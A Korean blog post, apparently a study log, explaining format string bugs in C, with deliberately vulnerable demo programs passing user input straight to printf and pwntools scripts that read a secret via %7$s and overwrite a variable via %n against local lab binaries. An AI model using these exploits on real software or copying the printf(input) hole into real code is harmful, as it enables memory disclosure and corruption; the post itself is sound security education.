취약점분석/Pwnable

[Pwnable] Format String Bug

poiri3r 2025. 11. 10. 18:20

오늘은 Format String Bug에 대해 학습해보겠습니다.

Format String Bug는 C언어의 printf(), sprintf(), fprintf() 같은 가변 인자 함수를 잘못 사용할 때 발생하는 보안 취약점입니다.

 

개발자가 사용자로부터 입력받은 문자열을 포맷 스트링 자체로 사용하는 경우 취약점이 발생합니다.

printf(input_string);

 

위와 같은 코드에서 공격자가 input_string에 %s, %x, %n 같은 포멧 지정자를 삽입하면, 메모리 정보 노출(%s, %p)이나 임의 쓰기(%n)을 사용할 수 있습니다.

 

포멧스트링에서의 전체 문법 구조입니다.

%[parameter][flags][width][.precision][length][specifier]

 

여기서 parameter, width, length, specifer가 공격 때 사용하는 중요 구성 요소입니다.

1. [parameter] (파라미터 지정자)

N$ 형태를 사용합니다.

printf에 전달된 인자들의 순서를 지정할 때 씁니다.

예: printf("%2$d, %1$s", "hello", 123); -> 두번째 인자인 123을 먼저 출력

 

2. [width] (폭)

출력될 내용이 최소한으로 차지할 칸의 수를 지정

 

3. [length]

인자의 실제 데이터 타입이 기본형과 다를 때 명시합니다.

hh 해당 인자가 char 크기를 나타냄
h 해당 인자가 short int 크기를 나타냄
l 해당 인자가 long int 크기임을 나타냄
ll 해당 인자가 long long int 크기임을 나타냄

 

4. [specifier] 

가장 중요한 부분으로, 데이터를 어떤 형식으로 해석할지 결정합니다.

(d,x,p,s 등등 .. )

 

포멧 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기가 가능합니다.

다음과 같은 코드를 보겠습니다. 

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  return 0;
}

 

위와 같은 코드를 준비하고 gcc로 컴파일해주겠습니다.

 

 

gcc에서 포멧스트링버그에대한 경고를 포함해줍니다.

이제 인자값으로 %p/%p/%p/%p/%p/%p을 넣어보겠습니다.

이렇게 입력을 주면 printf에 전달한 인자가 없는데도 값이 호출되는데, x86-64규약에서 포멧 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8] ..이 출력된 결과입니다.

-> 레지스터의 일부와 스택 값을 읽어오는 것이 가능합니다.

 

다음 코드를 확인해보겠습니다.

.

// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>

char *secret_message = "THIS_IS_SECRET_PASSWORD";

int main() {
    
    // 2. 스택에 비밀 데이터의 '주소'가 저장됨
    char *secret_address = secret_message; 
    char user_input[100];
    scanf("%s", user_input);
    printf(user_input);
    return 0;
}

 

gcc로 컴파일하고 실행한 뒤 입력값으로 %N$s (N은 숫자)를 입력해봅니다.

N의 값이 스택에 저장된 secret_address와 일치하는 순간 THIS IS SECRET PASSWORD라는 문자열이 출력됩니다.

여러번 실행시키고 입력값의 N을 1씩 증가시키면서 넣었고, %7$s를 입력했을 때 SECRET_PASSWORD가 나오는 것을 확인할 수 있습니다.

 

 

main을 디스어셈블한 결과입니다.

0x0000000000001191 <+8>:     add    rsp,0xffffffffffffff80

 

처음 스택 공간을 확보할 때 0x80만큼 확보합니다.

 

0x00000000000011a4 <+27>:    mov    rax,QWORD PTR [rip+0x2e65]  # 0x4010 <secret_message>
0x00000000000011ab <+34>:    mov    QWORD PTR [rbp-0x78],rax

 

secret message를 rax에 가져오고 rbp-0x78위치에 저장합니다.

 

0x00000000000011ce <+69>:    mov    rdi,rax
0x00000000000011d6 <+77>:    call   0x1080 <printf@plt>

 

printf 구문을 호출할 때 첫번째 인자를 rdi레지스터로 받습니다.

이때 printf가 %N$s와 같은 포맷을 만나면 N번째 인자를 찾게 되는데 1번 ~ 6번 인자는 레지스터에 저장되어있고 7번째 인자는 스택에 저장되어 있습니다.

이때 printf 바로 앞의 스택엔 secret_addres가 저장되어 있기 때문에 시크릿 주소가 호출되고 값이 담기게 됩니다.

 

위의 코드에서 변형한 코드를 보겠습니다.

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);

  return 0;
}

 

secret값을 알고 있는 상태에서 해당 주소의 값을 출력하는 것이 목표입니다.

여기서 저희가 format에 값을 쓰면 해당 값은 스택에 있는 format 버퍼에 그대로 복사되서 들어갈 것 입니다.

 

 

페이로드가 포함된 스택은 다음과 같이 정렬됩니다.

printf가 %7$s를 만나면 7번째 인자(스택)에서 출력하고, 해당 위치가 format[8]과 일치하기때문에 %s명령에 따라 해당 주소의 문자열을 출력하게 됩니다.

 

주소를 입력하는건 pwntools를 사용해야 하기 때문에 exploit.py로 작성을 했고여

from pwn import*

p = process("./fsb")
p.recvuntil(b"`secret`: ")
addr = int(p.recvline()[:-1], 16)

fstring = b"%7$saaaa" + p64(addr)
p.sendline(fstring)
p.interactive()

다음과 같은 코드가 나옵니다. %7$s뒤의 aaaa는 패딩을 채워놓는 용도입니다.

실행시 위와 같은 결과가 나오게 됩니다.

 

이번엔 임의 주소 쓰기를 확인해보겠습니다.

포멧 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있습니다.

 

#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  printf("Secret: %d", secret);

  return 0;
}

 

다음과 같은 코드를 보겠습니다.

int secret이라는 변수가 선언되어 있고, secret의 주소가 프린트 됩니다.

저희는 Format: 이라는 입력을 통해, secret변수에 값을 쓰는 것이 목표입니다.

from pwn import *

p = process("./fsb")

p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
print(addr_secret)
#fstring = b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"

fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

 

위와 같이 코드를 작성하면 secret주소를 버퍼에 담은 뒤 %n$n을 통해 값을 쓸 수 있습니다. 이때 %31337c와 같은 경우는 31337만큼의 문자를 출력하고, printf 내부의 글자출력 카운터값인 31337을 쓰는 메커니즘입니다.

익스플로잇을 실행해보면 공백 출력 이후에 Secret값에 정확이 31337이 들어감을 확인할 수 있습니다.

 

여기까지 해서 포멧 스트링에 대한 지식 습득을 마치겠습니다.

조금 만만히 보고 접근을 했었는데 생각보다 너무 어려웠던 것 같습니다.

다음에는 Format String Bug를 이용한 문제 풀이 write up을 작성해보겠습니다.

읽어주셔서 감사합니다